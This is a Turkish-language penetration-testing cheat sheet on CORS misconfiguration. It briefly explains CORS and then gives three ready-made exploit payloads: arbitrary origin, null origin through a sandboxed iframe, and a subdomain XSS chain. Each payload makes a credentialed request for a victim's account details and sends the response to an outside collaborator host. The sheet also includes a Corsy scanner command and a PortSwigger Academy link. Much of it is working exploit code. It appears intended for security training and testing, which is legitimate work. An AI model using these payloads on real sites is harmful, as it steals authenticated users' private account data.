βœ…CORS Misconfiguration

CORS Nedir?

CORS (Cross-Origin Resource Sharing), web uygulamalarının kendi alan adı dışındaki alan adlarından gelen verilerle etkileşim kurabilmesini sağlayan bir mekanizmadır. Temelde, tarayıcılardaki Aynı Kâk Politikası'nın (Same Origin Policy - SOP) esnetilmesiyle çalışan bu mekanizma, farklı domain'ler arasında veri paylaşımını mümkün kılar. Güvenlik mekanizmasının genişletilmesi ve esnetilmesi, doğru bir şekilde yapılandırıldığında güvenlik açısından son derece ânemlidir.

Rastgele Origin

# Request
Origin: https://attacker.com

# Response
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://example.com/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='http://COLLABORATOR/?key='+this.responseText;
    };
</script>

NULL Origin

# Request
Origin: null

# Response
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://example.com/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='http://COLLABORATOR/?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

Subdomain Origin

# Request
Origin: https://example.com

# Response
Access-Control-Allow-Origin: https://subdomain.example.com
Access-Control-Allow-Credentials: true
<script>
    document.location="https://stock.example.com/?productId=<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://example.com/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://COLLABORATOR/?key='%2bthis.responseText; };%3c/script>"
</script>

Otomatize Araçlar

Burp Active Scan

Corsy

python corsy.py -u "https://example.com" --headers "Cookie: session=xxxxxxx"

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/cors

Last updated